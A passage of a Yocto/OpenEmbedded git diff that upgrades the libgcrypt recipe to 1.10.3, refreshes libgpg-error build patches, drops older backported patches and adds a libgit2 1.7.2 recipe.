-+ 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-+ 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-+ 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-+ 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-+ 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-+ 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-+ 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-+ 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-+ 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-+ 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
-+ },
-+ 0
-+ };
-+
-+#define gcmR gcm_table.R
-
- static inline
- void prefetch_table(const void *tab, size_t len)
-@@ -124,7 +146,7 @@ void prefetch_table(const void *tab, size_t len)
- const volatile byte *vtab = tab;
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)vtab[i + 0 * 32];
- (void)vtab[i + 1 * 32];
-@@ -135,6 +157,10 @@ void prefetch_table(const void *tab, size_t len)
- (void)vtab[i + 6 * 32];
- (void)vtab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)vtab[i];
-+ }
-
- (void)vtab[len - 1];
- }
-@@ -142,8 +168,16 @@ void prefetch_table(const void *tab, size_t len)
- static inline void
- do_prefetch_tables (const void *gcmM, size_t gcmM_size)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ gcm_table.counter_head++;
-+ gcm_table.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table(gcmM, gcmM_size);
-- prefetch_table(gcmR, sizeof(gcmR));
-+ prefetch_table(&gcm_table, sizeof(gcm_table));
- }
-
- #ifdef GCM_TABLES_USE_U64
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch b/meta/recipes-support/libgcrypt/files/0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch
deleted file mode 100644
index 105df2957e..0000000000
--- a/meta/recipes-support/libgcrypt/files/0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-From 7cc702c7b5a1ccc2b0091f3effa1391b6c3030fd Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 16 Aug 2017 10:46:28 +0800
-Subject: [PATCH 3/4] tests/bench-slope.c: workaround ICE failure on mips with
- '-O -g'
-
-Hit a ICE and could reduce it to the following minimal example:
-
-1. Only the size of array assigned with 2 caused the issue:
-$ cat > mipgcc-test.c << END
-
-int main (int argc, char **argv)
-{
- char *pStrArry[ARRAY_SIZE_MAX] = {"hello"};
- int i = 0;
-
- while(pStrArry[i] && i<ARRAY_SIZE_MAX)
- {
- printf("%s\n", pStrArry[i]);
- i++;
- }
-
- return 0;
-}
-
-END
-
-2. Only -O1 and -g on mips caused the issue:
-$ mips-poky-linux-gcc -O1 -g -o mipgcc-test mipgcc-test.c
-mipgcc-test.c: In function 'main':
-mipgcc-test.c:18:1: internal compiler error: in dwarf2out_var_location,
-at dwarf2out.c:20810
- }
- ^
-Please submit a full bug report,
-with preprocessed source if appropriate.
-See <http://gcc.gnu.org/bugs.html> for instructions
-
-3. The quick workround is trying to enlarge the size of array with
-larger
-than 2.
-
-4. File a bug to GNU, but it could not be reproduced on there
-environment.
-http://gcc.gnu.org/bugzilla/show_bug.cgi?id=60643
-
-Upstream-Status: Inappropriate [oe specific]
-
-Rebase to 1.8.0
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- tests/bench-slope.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/tests/bench-slope.c b/tests/bench-slope.c
-index 75e6e43..4e70842 100644
---- a/tests/bench-slope.c
-+++ b/tests/bench-slope.c
-@@ -1463,7 +1463,7 @@ static struct bench_ops hash_ops = {
- };
-
-
--static struct bench_hash_mode hash_modes[] = {
-+static struct bench_hash_mode hash_modes[3] = {
- {"", &hash_ops},
- {0},
- };
-@@ -1629,7 +1629,7 @@ static struct bench_ops mac_ops = {
- };
-
-
--static struct bench_mac_mode mac_modes[] = {
-+static struct bench_mac_mode mac_modes[3] = {
- {"", &mac_ops},
- {0},
- };
---
-1.8.3.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
index 8622df3ea8..4233fa7877 100644
--- a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
+++ b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
@@ -1,7 +1,7 @@
-From e20dbdb0b8f0af840ef90b299c4e2277c52ddf87 Mon Sep 17 00:00:00 2001
+From 9182bc2dc676858a823c477d8f45a578b8c4f69f Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sun, 12 Jun 2016 04:44:29 -0400
-Subject: [PATCH 4/4] tests/Makefile.am: fix undefined reference to
+Subject: [PATCH] tests/Makefile.am: fix undefined reference to
`pthread_create'
Add missing '-lpthread' to CFLAGS
@@ -9,20 +9,30 @@ Add missing '-lpthread' to CFLAGS
Upstream-Status: Pending
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- tests/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ tests/Makefile.am | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 1744ea7..04cf425 100644
+index e6953fd..f47e1d3 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -64,4 +64,4 @@ EXTRA_DIST = README rsa-16k.key cavs_tests.sh cavs_driver.pl \
-
- LDADD = $(standard_ldadd) $(GPG_ERROR_LIBS)
- t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS)
+@@ -76,7 +76,7 @@ t_mpi_bit_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_secmem_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ testapi_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS) @LDADD_FOR_TESTS_KLUDGE@
-t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS)
+t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS) -lpthread
---
-1.8.3.1
-
+ testdrv_LDADD = $(LDADD_FOR_TESTS_KLUDGE)
+
+ # Build a version of the test driver for the build platform.
+@@ -95,7 +95,7 @@ else
+ xtestsuite_libs = ../src/.libs/libgcrypt.so*
+ xtestsuite_driver = testdrv
+ t_kdf_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS) @LDADD_FOR_TESTS_KLUDGE@
+-t_kdf_CFLAGS = $(GPG_ERROR_MT_CFLAGS)
++t_kdf_CFLAGS = $(GPG_ERROR_MT_CFLAGS) -lpthread
+ endif
+
+ # xcheck uses our new testdrv instead of the automake test runner.
diff --git a/meta/recipes-support/libgcrypt/files/determinism.patch b/meta/recipes-support/libgcrypt/files/determinism.patch
deleted file mode 100644
index ad0b8c7950..0000000000
--- a/meta/recipes-support/libgcrypt/files/determinism.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-gnutls detects our outer git trees and injects that revision into its objects.
-That isn't deterministic so stop it. Also ensure we're not marked as a development
-build as its git detection is faulty.
-
-RP 2020/2/6
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-
-Index: libgcrypt-1.8.5/configure.ac
-===================================================================
---- libgcrypt-1.8.5.orig/configure.ac
-+++ libgcrypt-1.8.5/configure.ac
-@@ -45,7 +45,7 @@ m4_define([mym4_revision_dec],
- m4_define([mym4_betastring],
- m4_esyscmd_s([git describe --match 'libgcrypt-[0-9].*[0-9]' --long|\
- awk -F- '$3!=0{print"-beta"$3}']))
--m4_define([mym4_isgit],m4_if(mym4_betastring,[],[no],[yes]))
-+m4_define([mym4_isgit],[no])
- m4_define([mym4_full_version],[mym4_version[]mym4_betastring])
-
- AC_INIT([libgcrypt],[mym4_full_version],[http://bugs.gnupg.org])
-@@ -2575,7 +2575,7 @@ AM_CONDITIONAL([BUILD_DOC], [test "x$bui
- #
- # Provide information about the build.
- #
--BUILD_REVISION="mym4_revision"
-+BUILD_REVISION="None"
- AC_SUBST(BUILD_REVISION)
- AC_DEFINE_UNQUOTED(BUILD_REVISION, "$BUILD_REVISION",
- [GIT commit id revision used to build this package])
diff --git a/meta/recipes-support/libgcrypt/files/no-bench-slope.patch b/meta/recipes-support/libgcrypt/files/no-bench-slope.patch
new file mode 100644
index 0000000000..8de3c6713b
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/files/no-bench-slope.patch
@@ -0,0 +1,20 @@
+The bench-slope test appears to be aborting fairly frequently, which causes
+failures on the autobuilder.
+
+Until this has been root-caused, disable the test.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/testdrv.c b/tests/testdrv.c
+index 0ccde326..d3455186 100644
+--- a/tests/testdrv.c
++++ b/tests/testdrv.c
+@@ -77,7 +77,6 @@ static struct {
+ { "t-x448" },
+ { "t-ed448" },
+ { "benchmark" },
+- { "bench-slope" },
+ { "hashtest-256g", "hashtest", "--gigs 256 SHA1 SHA256 SHA512 SM3",
+ LONG_RUNNING },
+ { NULL }
diff --git a/meta/recipes-support/libgcrypt/files/no-native-gpg-error.patch b/meta/recipes-support/libgcrypt/files/no-native-gpg-error.patch
new file mode 100644
index 0000000000..b9a607863d
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/files/no-native-gpg-error.patch
@@ -0,0 +1,18 @@
+Don't depend on a native libgpg-error to build the test driver, as it's
+an optional dependency for some C annotations.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/testdrv.c b/tests/testdrv.c
+index 0ccde326..6d6abd57 100644
+--- a/tests/testdrv.c
++++ b/tests/testdrv.c
+@@ -32,7 +32,6 @@
+ # include <fcntl.h>
+ # include <sys/wait.h>
+ #endif
+-#include <gpg-error.h> /* For some macros. */
+
+ #include "stopwatch.h"
+
diff --git a/meta/recipes-support/libgcrypt/files/run-ptest b/meta/recipes-support/libgcrypt/files/run-ptest
new file mode 100644
index 0000000000..c349ae1944
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/files/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# Run the tests in regression mode so they are quicker
+export GCRYPT_IN_REGRESSION_TEST=1
+# The 'random' test invokes itself, so we need to be sure that the test
+# directory is on PATH.
+export PATH=$PATH:.
+
+./testdrv --verbose
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.10.3.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.10.3.bb
new file mode 100644
index 0000000000..5a76201ab5
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/libgcrypt_1.10.3.bb
@@ -0,0 +1,55 @@
+SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
+DESCRIPTION = "A cryptography library developed as a separated module of GnuPG. \
+It can also be used independently of GnuPG, but depends on its error-reporting \
+library Libgpg-error."
+HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+SECTION = "libs"
+
+# helper program gcryptrnd and getrandom are under GPL, rest LGPL
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later & LGPL-2.1-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://LICENSES;md5=ef545b6cc717747072616519a1256d69 \
+ "
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
+ file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
+ file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
+ file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
+ file://no-native-gpg-error.patch \
+ file://no-bench-slope.patch \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "8b0870897ac5ac67ded568dcfadf45969cfa8a6beb0fd60af2a9eadc2a3272aa"
+
+BINCONFIG = "${bindir}/libgcrypt-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig ptest
+
+EXTRA_OECONF = "--disable-asm"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+
+PACKAGECONFIG ??= "capabilities"
+PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
+
+do_configure:prepend () {
+ # Else this could be used in preference to the one in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+do_install_ptest() {
+ cd tests
+ oe_runmake testdrv-build testdrv
+ install testdrv $(srcdir=${S}/tests ./testdrv-build --files | sort | uniq) ${D}${PTEST_PATH}
+}
+
+FILES:${PN}-dev += "${bindir}/hmac256 ${bindir}/dumpsexp"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.8.6.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.8.6.bb
deleted file mode 100644
index ac09417e89..0000000000
--- a/meta/recipes-support/libgcrypt/libgcrypt_1.8.6.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
-HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-SECTION = "libs"
-
-# helper program gcryptrnd and getrandom are under GPL, rest LGPL
-LICENSE = "GPLv2+ & LGPLv2.1+ & GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-dev = "GPLv2+ & LGPLv2.1+"
-LICENSE_dumpsexp-dev = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://LICENSES;md5=840e3bcb754e5046ffeda7619034cbd8"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
- file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
- file://0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch \
- file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
- file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
- file://0001-Prefetch-GCM-look-up-tables.patch \
- file://0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch \
- file://0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch \
- file://determinism.patch \
-"
-SRC_URI[sha256sum] = "0cba2700617b99fc33864a0c16b1fa7fdf9781d9ed3509f5d767178e5fd7b975"
-
-BINCONFIG = "${bindir}/libgcrypt-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig
-
-EXTRA_OECONF = "--disable-asm"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-
-PACKAGECONFIG ??= "capabilities"
-PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
-
-do_configure_prepend () {
- # Else this could be used in preference to the one in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-# libgcrypt.pc is added locally and thus installed here
-do_install_append() {
- install -d ${D}/${libdir}/pkgconfig
- install -m 0644 ${B}/src/libgcrypt.pc ${D}/${libdir}/pkgconfig/
-}
-
-PACKAGES =+ "dumpsexp-dev"
-
-FILES_${PN}-dev += "${bindir}/hmac256"
-FILES_dumpsexp-dev += "${bindir}/dumpsexp"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgit2/libgit2_1.7.2.bb b/meta/recipes-support/libgit2/libgit2_1.7.2.bb
new file mode 100644
index 0000000000..d1629c0c0b
--- /dev/null
+++ b/meta/recipes-support/libgit2/libgit2_1.7.2.bb
@@ -0,0 +1,21 @@
+SUMMARY = "the Git linkable library"
+HOMEPAGE = "http://libgit2.github.com/"
+LICENSE = "GPL-2.0-with-GCC-exception & MIT & OpenSSL & BSD-3-Clause & Zlib & ISC & LGPL-2.1-or-later & CC0-1.0 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5bdf47bbc9a39dc6ce076d59e322dc17"
+
+DEPENDS = "curl openssl zlib libssh2 libgcrypt libpcre2"
+
+SRC_URI = "git://github.com/libgit2/libgit2.git;branch=maint/v1.7;protocol=https"
+SRCREV = "a418d9d4ab87bae16b87d8f37143a4687ae0e4b2"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DCMAKE_BUILD_TYPE=RelWithDebInfo \
+ -DREGEX_BACKEND='pcre2' \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch b/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch
index a0ab4f23ff..d72838bb05 100644
--- a/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch
+++ b/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch
@@ -1,4 +1,4 @@
-From 137805890951b6b585c1d23097e0a51e8c7a8a50 Mon Sep 17 00:00:00 2001
+From 75622f8b21459eb556b36edc3537fdaded7f04bf Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 28 Feb 2020 09:19:56 +0000
Subject: [PATCH] Do not fail when testing config scripts
@@ -14,14 +14,13 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 deletion(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index 9303954..7630540 100644
+index 9389e99..6ded263 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -344,7 +344,6 @@ gpg-error-config: gpgrt-config gpg-error-config-old
+@@ -324,6 +324,5 @@ gpg-error-config: gpgrt-config gpg-error-config-old gpg-error-config-test.sh
else \
echo "no"; \
echo "*** Please report to <https://bugs.gnupg.org> with gpg-error-config-test.log"; \
- exit 1; \
fi
cp gpg-error-config-old $@
-
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/0003-build-Fix-cross-compiling-into-a-separate-build-dir.patch b/meta/recipes-support/libgpg-error/libgpg-error/0003-build-Fix-cross-compiling-into-a-separate-build-dir.patch
deleted file mode 100644
index 20610bee5d..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error/0003-build-Fix-cross-compiling-into-a-separate-build-dir.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 6efe006e99a7e739afbf7fe8937445c82630fc8f Mon Sep 17 00:00:00 2001
-From: David Michael <fedora.dm0@gmail.com>
-Date: Mon, 1 Jun 2020 10:24:53 -0400
-Subject: [PATCH] build: Fix cross-compiling into a separate build dir.
-
-* configure.ac: Create the src directory before writing into it.
-* src/Makefile.am (EXTRA_DIST): Add gen-lock-obj.sh.
-
---
-
-Upstream-Status: Backport
-Signed-off-by: David Michael <fedora.dm0@gmail.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 1 +
- src/Makefile.am | 2 +-
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index def8bba..8c0d845 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -598,6 +598,7 @@ if test x$cross_compiling = xyes; then
- case $host in
- *-*-linux*)
- lock_obj_h_generated=yes
-+ mkdir src
- LOCK_ABI_VERSION=1 host=$host host_alias=$host_alias \
- CC=$CC OBJDUMP=$host_alias-objdump \
- ac_ext=$ac_ext ac_objext=$ac_objext \
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 2fb83c0..d773877 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -102,7 +102,7 @@ EXTRA_DIST = mkstrtable.awk err-sources.h.in err-codes.h.in \
- gpg-error.vers gpg-error.def.in \
- versioninfo.rc.in gpg-error.w32-manifest.in \
- gpg-error-config-test.sh gpg-error.pc.in \
-- $(lock_obj_pub)
-+ gen-lock-obj.sh $(lock_obj_pub)
-
- BUILT_SOURCES = $(srcdir)/err-sources.h $(srcdir)/err-codes.h \
- code-to-errno.h code-from-errno.h \
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/0005-src-gen-lock-obj.sh-add-a-file.patch b/meta/recipes-support/libgpg-error/libgpg-error/0005-src-gen-lock-obj.sh-add-a-file.patch
deleted file mode 100644
index e6f6c09bac..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error/0005-src-gen-lock-obj.sh-add-a-file.patch
+++ /dev/null
@@ -1,134 +0,0 @@
-From fcb414abb62223e66dba413d0ca86eab3ea5bbc3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sun, 21 Jun 2020 13:54:47 +0000
-Subject: [PATCH] src-gen-lock-obj.sh: add a file
-
-This is erroneously missing from the tarball; it will show
-up in the next release tarball, as upstream has fixed the
-packaging in master.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/gen-lock-obj.sh | 112 ++++++++++++++++++++++++++++++++++++++++++++
- 1 file changed, 112 insertions(+)
- create mode 100755 src/gen-lock-obj.sh
-
-diff --git a/src/gen-lock-obj.sh b/src/gen-lock-obj.sh
-new file mode 100755
-index 0000000..13858cf
---- /dev/null
-+++ b/src/gen-lock-obj.sh
-@@ -0,0 +1,112 @@
-+#! /bin/sh
-+#
-+# gen-lock-obj.sh - Build tool to construct the lock object.
-+#
-+# Copyright (C) 2020 g10 Code GmbH
-+#
-+# This file is part of libgpg-error.
-+#
-+# libgpg-error is free software; you can redistribute it and/or
-+# modify it under the terms of the GNU Lesser General Public License
-+# as published by the Free Software Foundation; either version 2.1 of
-+# the License, or (at your option) any later version.
-+#
-+# libgpg-error is distributed in the hope that it will be useful, but
-+# WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Lesser General Public License for more details.
-+#
-+# You should have received a copy of the GNU Lesser General Public
-+# License along with this program; if not, see <https://www.gnu.org/licenses/>.
-+#
-+
-+#
-+# Following variables should be defined to invoke this script
-+#
-+# CC
-+# OBJDUMP
-+# AWK
-+# ac_ext
-+# ac_object
-+# host
-+# LOCK_ABI_VERSION
-+#
-+# An example:
-+#
-+# LOCK_ABI_VERSION=1 host=x86_64-pc-linux-gnu host_alias=x86_64-linux-gnu \
-+# CC=$host_alias-gcc OBJDUMP=$host_alias-objdump ac_ext=c ac_objext=o \
-+# AWK=gawk ./gen-lock-obj.sh
-+#
-+
-+AWK_VERSION_OUTPUT=$($AWK 'BEGIN { print PROCINFO["version"] }')
-+if test -n "$AWK_VERSION_OUTPUT"; then
-+ # It's GNU awk, which supports PROCINFO.
-+ AWK_OPTION=--non-decimal-data
-+fi
-+
-+cat <<'EOF' >conftest.$ac_ext
-+#include <pthread.h>
-+pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;
-+EOF
-+
-+if $CC -c conftest.$ac_ext; then :
-+ ac_mtx_size=$($OBJDUMP -j .bss -t conftest.$ac_objext \
-+ | $AWK $AWK_OPTION '
-+/mtx$/ { mtx_size = int("0x" $5) }
-+END { print mtx_size }')
-+else
-+ echo "Can't determine mutex size"
-+ exit 1
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+cat <<EOF
-+## lock-obj-pub.$host.h
-+## File created by gen-lock-obj.sh - DO NOT EDIT
-+## To be included by mkheader into gpg-error.h
-+
-+typedef struct
-+{
-+ long _vers;
-+ union {
-+ volatile char _priv[$ac_mtx_size];
-+ long _x_align;
-+ long *_xp_align;
-+ } u;
-+} gpgrt_lock_t;
-+
-+EOF
-+
-+# FIXME: Support different alignment conditions of:
-+#
-+# USE_16BYTE_ALIGNMENT
-+# USE_DOUBLE_FOR_ALIGNMENT
-+# USE_LONG_DOUBLE_FOR_ALIGNMENT
-+#
-+
-+echo -n "#define GPGRT_LOCK_INITIALIZER {$LOCK_ABI_VERSION,{{"
-+
-+i=0
-+while test "$i" -lt $ac_mtx_size; do
-+ if test "$i" -ne 0 -a "$(( $i % 8 ))" -eq 0; then
-+ echo ' \'
-+ echo -n " "
-+ fi
-+ echo -n '0'
-+ if test "$i" -lt $(($ac_mtx_size - 1)); then
-+ echo -n ','
-+ fi
-+ i=$(( i + 1 ))
-+done
-+
-+cat <<'EOF'
-+}}}
-+##
-+## Local Variables:
-+## mode: c
-+## buffer-read-only: t
-+## End:
-+##
-+EOF
-+
-+exit 0
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
index ca5f6b5c25..3d886bcaa4 100644
--- a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
+++ b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
@@ -1,9 +1,9 @@
-From ec309e20b5a27d42a5fb915c328d61e924ab5f19 Mon Sep 17 00:00:00 2001
+From b0df1cb468264a9bb9113524f0e1318c456b2348 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Thu, 29 Mar 2018 15:12:17 +0800
Subject: [PATCH] support pkgconfig
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [gnupg upstream will not take this, it has been tried with other components]
Rebase to 1.28
@@ -11,32 +11,31 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
Refactored for 1.33
Signed-off-by: Armin Kuster <akuster808@gmail.com>
+Signed-off-by: Zheng Ruoqin <zhengrq.fnst@cn.fujitsu.com>
---
- configure.ac | 1 +
- src/gpg-error.m4 | 71 +++--------------------------------------------------
- 4 files changed, 18 insertions(+), 69 deletions(-)
- create mode 100644 src/gpg-error.pc.in
+ src/gpg-error.m4 | 192 ++---------------------------------------------
+ 1 file changed, 5 insertions(+), 187 deletions(-)
-Index: libgpg-error-1.33/src/gpg-error.m4
-===================================================================
---- libgpg-error-1.33.orig/src/gpg-error.m4
-+++ libgpg-error-1.33/src/gpg-error.m4
-@@ -26,139 +26,13 @@ dnl is added to the gpg_config_script_wa
+diff --git a/src/gpg-error.m4 b/src/gpg-error.m4
+index 7fa52b1..15a0859 100644
+--- a/src/gpg-error.m4
++++ b/src/gpg-error.m4
+@@ -15,187 +15,14 @@
dnl
- AC_DEFUN([AM_PATH_GPG_ERROR],
- [ AC_REQUIRE([AC_CANONICAL_HOST])
+ dnl Find gpg-error-config, for backward compatibility
+ dnl
+-dnl _AM_PATH_POSSIBLE_GPG_ERROR_CONFIG
+-AC_DEFUN([_AM_PATH_POSSIBLE_GPG_ERROR_CONFIG],[dnl
- gpg_error_config_prefix=""
- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
- dnl since that is consistent with how our three siblings use the directory/
- dnl package name in --with-$dir_name-prefix=PFX.
- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
- [prefix where GPG Error is installed (optional)]),
- [gpg_error_config_prefix="$withval"])
-+ min_gpg_error_version=ifelse([$1], ,0.0,$1)
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
-
+-
- dnl Accept --with-gpg-error-prefix and make it work the same as
- dnl --with-libgpg-error-prefix above, for backwards compatibility,
- dnl but do not document this old, inconsistently-named option.
@@ -63,50 +62,112 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- fi
-
- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
-- min_gpg_error_version=ifelse([$1], ,1.33,$1)
-- ok=no
+-])
-
-- if test "$prefix" = NONE ; then
-- prefix_option_expanded=/usr/local
-- else
-- prefix_option_expanded="$prefix"
-- fi
